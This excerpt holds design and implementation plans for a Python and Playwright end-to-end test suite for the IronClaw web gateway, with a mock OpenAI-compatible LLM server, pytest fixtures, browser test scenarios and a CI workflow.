| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
## Open Questions
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
@@ -0,0 +1,354 @@
# E2E Testing Infrastructure Design
**Date:** 2026-02-24
**Status:** Approved
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
---
## Decisions
| Decision | Choice | Rationale |
|----------|--------|-----------|
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
---
## Architecture
```
pytest
|
+----------+-----------+
| |
mock_llm.py ironclaw binary
(canned responses) (cargo build --features libsql)
127.0.0.1:{port} 127.0.0.1:{port}
| |
+----------+-----------+
|
Playwright
(headless Chromium)
DOM assertions
```
**Flow:**
1. pytest session starts
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
3. Session-scoped fixture starts mock LLM on OS-assigned port
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
6. Each test uses Playwright locators + DOM assertions
7. Teardown kills ironclaw and mock LLM
---
## Directory Structure
```
tests/e2e/
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
mock_llm.py # OpenAI-compat HTTP server with canned responses
helpers.py # Shared utilities (wait_for_ready, selectors)
scenarios/
__init__.py
test_connection.py # Auth, tab navigation, connection status
test_chat.py # Send message, SSE streaming, response rendering
test_skills.py # Search, install, remove lifecycle
pyproject.toml # Dependencies
README.md # How to run locally and in CI
```
---
## Mock LLM Server
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
**Endpoint:** `POST /v1/chat/completions`
**Behavior:**
- Parses the `messages` array from the request body
- Pattern-matches the last user message content to select a canned response
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
**Canned response table:**
| Pattern (regex) | Response |
|-----------------|----------|
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
| `skill\|install` | `I can help you with skills management.` |
| `.*` (default) | `I understand your request.` |
**Streaming format:**
```
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
data: [DONE]
```
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
---
## Fixtures
### Session-scoped (run once per test session)
**`ironclaw_binary`**
- Checks if `./target/debug/ironclaw` exists
- If missing or stale, runs `cargo build --no-default-features --features libsql`
- Returns the binary path
- Timeout: 300s (first build can be slow)
**`mock_llm_server`**
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
- Polls `GET /v1/models` until ready (timeout 10s)
- Yields `(process, url)`
- Kills process on teardown
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
- Starts the ironclaw binary with environment:
```
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=0
GATEWAY_AUTH_TOKEN=e2e-test-token
GATEWAY_USER_ID=e2e-tester
CLI_ENABLED=false
LLM_BACKEND=openai_compatible
LLM_BASE_URL={mock_llm_url}
LLM_MODEL=mock-model
DATABASE_BACKEND=libsql
LIBSQL_PATH=:memory:
SANDBOX_ENABLED=false
SKILLS_ENABLED=true
ROUTINES_ENABLED=false
HEARTBEAT_ENABLED=false
```
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
- Polls `GET /api/status` until ready (timeout 60s)
- Yields the base URL (`http://127.0.0.1:{port}`)
- Sends SIGTERM on teardown, SIGKILL after 5s grace
### Function-scoped (fresh per test)
**`page(ironclaw_server)`**
- Launches Playwright Chromium (headless)
- Creates new browser context (isolated cookies/storage)
- Creates new page with viewport 1280x720
- Navigates to `{base_url}/?token=e2e-test-token`
- Waits for network idle
- Yields the `Page` object
- Closes browser context on teardown
---
## Test Scenarios
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
Tests auth, initial page load, and tab switching.
```
test_page_loads_and_connects:
1. Assert page title or main container is visible
2. Assert connection status indicator shows "Connected" (or equivalent)
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
test_tab_navigation:
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
a. Click the tab button
b. Assert the corresponding panel container becomes visible
c. Assert no error toasts appear
2. Return to Chat tab
3. Assert chat input is visible and focusable
test_auth_rejection:
1. Navigate to base_url without token (no ?token= param)
2. Assert auth screen / login prompt appears (not the main app)
```
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
```
test_send_message_and_receive_response:
1. Locate chat input element
2. Type "What is 2+2?"
3. Press Enter (or click Send button)
4. Wait for assistant message to appear (timeout 15s)
5. Assert user message bubble contains "What is 2+2?"
6. Assert assistant message bubble contains "4"
7. Assert no error toasts visible
test_multiple_messages:
1. Send "Hello"
2. Wait for response containing "Hello" or "help"
3. Send "What is 2+2?"
4. Wait for response containing "4"
5. Assert message count >= 4 (2 user + 2 assistant)
test_empty_message_not_sent:
1. Focus chat input
2. Press Enter with empty input
3. Assert no new messages appear after 2s
```
### Scenario 3: Skills Lifecycle (`test_skills.py`)
Tests ClawHub search, install, and remove through the browser UI.
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
```
test_skills_tab_visible:
1. Click Skills tab
2. Assert skills panel is visible
3. Assert search input is present
test_skills_search:
1. Click Skills tab
2. Type "markdown" in search input
3. Click Search (or press Enter)
4. Wait for results (timeout 15s)
5. Assert at least one result card is visible
6. Assert result cards contain: name, version, description fields
test_skills_install_and_remove:
1. Search for a skill
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
3. Click Install on first result
4. Wait for installed skills list to update (timeout 15s)
5. Assert skill appears in installed section
6. Click Remove on the installed skill
7. Wait for installed section to update
8. Assert skill is gone from installed list
```
---
## Port Discovery
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
```python
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
"""Read process stdout until we find the listening port."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
line = await asyncio.wait_for(
process.stdout.readline(), timeout=deadline - time.monotonic()
)
if match := re.search(pattern, line.decode()):
return int(match.group(1))
raise TimeoutError("ironclaw did not report listening port")
```
Same pattern for the mock LLM server.
---
## Dependencies
```toml
# tests/e2e/pyproject.toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
```
---
## CI Integration
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- 'src/channels/web/**'
- 'tests/e2e/**'
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: target
key: e2e-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
```
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
---
## Future: Claude Vision Layer
Not in initial scope. Design accommodates it via:
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
---
## Success Criteria
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
4. CI workflow runs on web gateway changes and weekly schedule
5. Test failures produce clear error messages with screenshot artifacts
+952
View File
@@ -0,0 +1,952 @@
# E2E Testing Infrastructure Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
---
### Task 1: Project scaffolding and pyproject.toml
**Files:**
- Create: `tests/e2e/pyproject.toml`
- Create: `tests/e2e/scenarios/__init__.py`
**Step 1: Create pyproject.toml**
```toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"pytest-playwright>=0.5",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
timeout = 120
```
**Step 2: Create empty __init__.py**
Create `tests/e2e/scenarios/__init__.py` as an empty file.
**Step 3: Verify install works**
Run:
```bash
cd tests/e2e && pip install -e . && playwright install chromium
```
Expected: Clean install, no errors.
**Step 4: Commit**
```bash
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
git commit -m "scaffold: E2E test project with pyproject.toml"
```
---
### Task 2: Mock LLM server
**Files:**
- Create: `tests/e2e/mock_llm.py`
**Step 1: Write the mock LLM server**
The server must:
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
- Handle `GET /v1/models` for health checks
- Pattern-match the last user message to select canned responses
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
```python
"""Mock OpenAI-compatible LLM server for E2E tests."""
import argparse
import json
import re
import time
import uuid
from aiohttp import web
CANNED_RESPONSES = [
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
]
DEFAULT_RESPONSE = "I understand your request."
def match_response(messages: list[dict]) -> str:
"""Find canned response for the last user message."""
for msg in reversed(messages):
if msg.get("role") == "user":
content = msg.get("content", "")
# Handle content that may be a list (multi-modal)
if isinstance(content, list):
content = " ".join(
part.get("text", "") for part in content if part.get("type") == "text"
)
for pattern, response in CANNED_RESPONSES:
if pattern.search(content):
return response
return DEFAULT_RESPONSE
return DEFAULT_RESPONSE
async def chat_completions(request: web.Request) -> web.StreamResponse:
"""Handle POST /v1/chat/completions."""
body = await request.json()
messages = body.get("messages", [])
stream = body.get("stream", False)
response_text = match_response(messages)
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
if not stream:
return web.json_response({
"id": completion_id,
"object": "chat.completion",
"created": int(time.time()),
"model": "mock-model",
"choices": [{
"index": 0,
"message": {"role": "assistant", "content": response_text},
"finish_reason": "stop",
}],
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
})
# Streaming response: split into word-boundary chunks
resp = web.StreamResponse(
status=200,
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
)
await resp.prepare(request)
# First chunk: role
chunk = {
"id": completion_id,
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "mock-model",
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Content chunks: split on spaces
words = response_text.split(" ")
for i, word in enumerate(words):
text = word if i == 0 else f" {word}"
chunk["choices"][0]["delta"] = {"content": text}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Final chunk: finish_reason
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
await resp.write(b"data: [DONE]\n\n")
return resp
async def models(_request: web.Request) -> web.Response:
"""Handle GET /v1/models."""
return web.json_response({
"object": "list",
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
})
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=0)
args = parser.parse_args()
app = web.Application()
app.router.add_post("/v1/chat/completions", chat_completions)
app.router.add_get("/v1/models", models)
# Use aiohttp's runner to get the actual bound port
import asyncio
async def start():
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", args.port)
await site.start()
# Extract the actual port from the bound socket
port = site._server.sockets[0].getsockname()[1]
print(f"MOCK_LLM_PORT={port}", flush=True)
# Block forever
await asyncio.Event().wait()
asyncio.run(start())
if __name__ == "__main__":
main()
```
**Step 2: Verify it starts and responds**
Run:
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
kill %1
```
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
**Step 3: Verify streaming**
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
kill %1
```
Expected: SSE chunks ending with `data: [DONE]`.
**Step 4: Commit**
```bash
git add tests/e2e/mock_llm.py
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
```
---
### Task 3: Helpers module
**Files:**
- Create: `tests/e2e/helpers.py`
**Step 1: Write helpers**
```python
"""Shared helpers for E2E tests."""
import asyncio
import re
import time
import httpx
# ── DOM Selectors ────────────────────────────────────────────────────────
# Keep all selectors in one place so changes to the frontend only need
# one update.
SEL = {
# Auth
"auth_screen": "#auth-screen",
"token_input": "#token-input",
# Connection
"sse_status": "#sse-status",
# Tabs
"tab_button": '.tab-bar button[data-tab="{tab}"]',
"tab_panel": "#tab-{tab}",
# Chat
"chat_input": "#chat-input",
"chat_messages": "#chat-messages",
"message_user": "#chat-messages .message.user",
"message_assistant": "#chat-messages .message.assistant",
# Skills
"skill_search_input": "#skill-search-input",
"skill_search_results": "#skill-search-results",
"skill_search_result": ".skill-search-result",
"skill_installed": "#installed-skills .ext-card",
}
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
# Auth token used across all tests
AUTH_TOKEN = "e2e-test-token"
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
"""Poll a URL until it returns 200 or timeout."""
deadline = time.monotonic() + timeout
async with httpx.AsyncClient() as client:
while time.monotonic() < deadline:
try:
resp = await client.get(url, timeout=5)
if resp.status_code == 200:
return
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
pass
await asyncio.sleep(interval)
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
"""Read process stdout line by line until a port-bearing line matches."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
remaining = deadline - time.monotonic()
if remaining <= 0:
break
try:
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
except asyncio.TimeoutError:
break
decoded = line.decode("utf-8", errors="replace").strip()
if match := re.search(pattern, decoded):
return int(match.group(1))
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
```
**Step 2: Commit**
```bash
git add tests/e2e/helpers.py
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
```
---
### Task 4: conftest.py fixtures
**Files:**
- Create: `tests/e2e/conftest.py`
**Step 1: Write the fixtures**
Key details from codebase research:
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
- Health endpoint: `GET /api/health` (public, no auth required)
- Auth via `?token=` query parameter for the frontend auto-auth flow
- The frontend hides `#auth-screen` when token is valid and SSE connects
```python
"""pytest fixtures for E2E tests.
Session-scoped: build binary, start mock LLM, start ironclaw.
Function-scoped: fresh Playwright browser page per test.
"""
import asyncio
import os
import signal
import subprocess
import sys
from pathlib import Path
import pytest
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
# Project root (two levels up from tests/e2e/)
ROOT = Path(__file__).resolve().parent.parent.parent
# Ports: use high fixed ports to avoid conflicts with development instances
MOCK_LLM_PORT = 18_199
GATEWAY_PORT = 18_200
@pytest.fixture(scope="session")
def ironclaw_binary():
"""Ensure ironclaw binary is built. Returns the binary path."""
binary = ROOT / "target" / "debug" / "ironclaw"
if not binary.exists():
print("Building ironclaw (this may take a while)...")
subprocess.run(
["cargo", "build", "--no-default-features", "--features", "libsql"],
cwd=ROOT,
check=True,
timeout=600,
)
assert binary.exists(), f"Binary not found at {binary}"
return str(binary)
@pytest.fixture(scope="session")
def event_loop():
"""Create a session-scoped event loop for async fixtures."""
loop = asyncio.new_event_loop()
yield loop
loop.close()
@pytest.fixture(scope="session")
async def mock_llm_server():
"""Start the mock LLM server. Yields the base URL."""
server_script = Path(__file__).parent / "mock_llm.py"
proc = await asyncio.create_subprocess_exec(
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
try:
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
url = f"http://127.0.0.1:{port}"
await wait_for_ready(f"{url}/v1/models", timeout=10)
yield url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture(scope="session")
async def ironclaw_server(ironclaw_binary, mock_llm_server):
"""Start the ironclaw gateway. Yields the base URL."""
env = {
**os.environ,
"RUST_LOG": "ironclaw=info",
"GATEWAY_ENABLED": "true",
"GATEWAY_HOST": "127.0.0.1",
"GATEWAY_PORT": str(GATEWAY_PORT),
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
"GATEWAY_USER_ID": "e2e-tester",
"CLI_ENABLED": "false",
"LLM_BACKEND": "openai_compatible",
"LLM_BASE_URL": mock_llm_server,
"LLM_MODEL": "mock-model",
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
"ROUTINES_ENABLED": "false",
"HEARTBEAT_ENABLED": "false",
"EMBEDDING_ENABLED": "false",
# Prevent onboarding wizard from triggering
"ONBOARD_COMPLETED": "true",
}
proc = await asyncio.create_subprocess_exec(
ironclaw_binary,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env=env,
)
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
try:
await wait_for_ready(f"{base_url}/api/health", timeout=60)
yield base_url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture
async def page(ironclaw_server):
"""Fresh Playwright browser page, navigated to the gateway with auth."""
from playwright.async_api import async_playwright
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
context = await browser.new_context(viewport={"width": 1280, "height": 720})
pg = await context.new_page()
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
# Wait for the app to initialize (auth screen hidden, SSE connected)
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
yield pg
await context.close()
await browser.close()
```
**Step 2: Commit**
```bash
git add tests/e2e/conftest.py
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
```
---
### Task 5: Scenario 1 -- Connection and tab navigation
**Files:**
- Create: `tests/e2e/scenarios/test_connection.py`
**Step 1: Write the test**
```python
"""Scenario 1: Connection, auth, and tab navigation."""
import pytest
from helpers import AUTH_TOKEN, SEL, TABS
async def test_page_loads_and_connects(page):
"""After auth, the app shows Connected status and all tabs."""
# Connection status
status = page.locator(SEL["sse_status"])
await status.wait_for(state="visible", timeout=10000)
text = await status.text_content()
assert text is not None
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
# All 6 main tabs visible
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
async def test_tab_navigation(page):
"""Clicking each tab shows its panel."""
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
await btn.click()
panel = page.locator(SEL["tab_panel"].format(tab=tab))
await panel.wait_for(state="visible", timeout=5000)
# Return to Chat tab
await page.locator(SEL["tab_button"].format(tab="chat")).click()
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
async def test_auth_rejection(page, ironclaw_server):
"""Navigating without a token shows the auth screen."""
# Open a new page without the token
new_page = await page.context.new_page()
await new_page.goto(ironclaw_server)
auth_screen = new_page.locator(SEL["auth_screen"])
await auth_screen.wait_for(state="visible", timeout=10000)
await new_page.close()
```
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
```bash
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
```
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
**Step 3: Commit**
```bash
git add tests/e2e/scenarios/test_connection.py
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
```
---
### Task 6: Scenario 2 -- Chat message round-trip
**Files:**
- Create: `tests/e2e/scenarios/test_chat.py`
**Step 1: Write the test**
```python
"""Scenario 2: Chat message round-trip via SSE streaming."""
import pytest
from helpers import SEL
async def test_send_message_and_receive_response(page):
"""Type a message, receive a streamed response from mock LLM."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# Send message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for assistant response
assistant_msg = page.locator(SEL["message_assistant"]).last
await assistant_msg.wait_for(state="visible", timeout=15000)
# Verify user message
user_msgs = page.locator(SEL["message_user"])
assert await user_msgs.count() >= 1
last_user = user_msgs.last
user_text = await last_user.text_content()
assert "2+2" in user_text or "2 + 2" in user_text
# Verify assistant response contains "4" (from mock LLM canned response)
assistant_text = await assistant_msg.text_content()
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
async def test_multiple_messages(page):
"""Send two messages, verify both get responses."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# First message
await chat_input.fill("Hello")
await chat_input.press("Enter")
# Wait for first response
await page.locator(SEL["message_assistant"]).first.wait_for(
state="visible", timeout=15000
)
# Second message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for second response (at least 2 assistant messages)
await page.wait_for_function(
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
timeout=15000,
)
# Verify counts
user_count = await page.locator(SEL["message_user"]).count()
assistant_count = await page.locator(SEL["message_assistant"]).count()
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
async def test_empty_message_not_sent(page):
"""Pressing Enter with empty input should not create a message."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
# Press Enter with empty input
await chat_input.press("Enter")
# Wait a moment and verify no new messages
await page.wait_for_timeout(2000)
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
assert final_count == initial_count, "Empty message should not create new messages"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_chat.py
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
```
---
### Task 7: Scenario 3 -- Skills lifecycle
**Files:**
- Create: `tests/e2e/scenarios/test_skills.py`
**Step 1: Write the test**
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
```python
"""Scenario 3: Skills search, install, and remove lifecycle."""
import pytest
from helpers import SEL
async def test_skills_tab_visible(page):
"""Skills tab shows the search interface."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
await panel.wait_for(state="visible", timeout=5000)
search_input = page.locator(SEL["skill_search_input"])
assert await search_input.is_visible(), "Skills search input not visible"
async def test_skills_search(page):
"""Search ClawHub for skills and verify results appear."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
# Wait for results (ClawHub may be slow)
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
count = await results.count()
assert count >= 1, "Expected at least 1 search result"
async def test_skills_install_and_remove(page):
"""Install a skill from search results, then remove it."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
# Search
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
# Auto-accept confirm dialogs
await page.evaluate("window.confirm = () => true")
# Install first result
install_btn = results.first.locator("button", has_text="Install")
if await install_btn.count() == 0:
pytest.skip("No installable skills found in results")
await install_btn.click()
# Wait for install to complete (installed list updates)
# The UI should show the skill in the installed section
await page.wait_for_timeout(5000)
# Check if any installed skills exist now
installed = page.locator(SEL["skill_installed"])
installed_count = await installed.count()
if installed_count == 0:
# Try scrolling or waiting longer
await page.wait_for_timeout(5000)
installed_count = await installed.count()
assert installed_count >= 1, "Skill should appear in installed list after install"
# Remove the skill
remove_btn = installed.first.locator("button", has_text="Remove")
if await remove_btn.count() > 0:
await remove_btn.click()
await page.wait_for_timeout(3000)
# Verify removed
new_count = await page.locator(SEL["skill_installed"]).count()
assert new_count < installed_count, "Skill should be removed from installed list"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_skills.py
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
```
---
### Task 8: CI workflow
**Files:**
- Create: `.github/workflows/e2e.yml`
**Step 1: Write the workflow**
```yaml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
```
**Step 2: Commit**
```bash
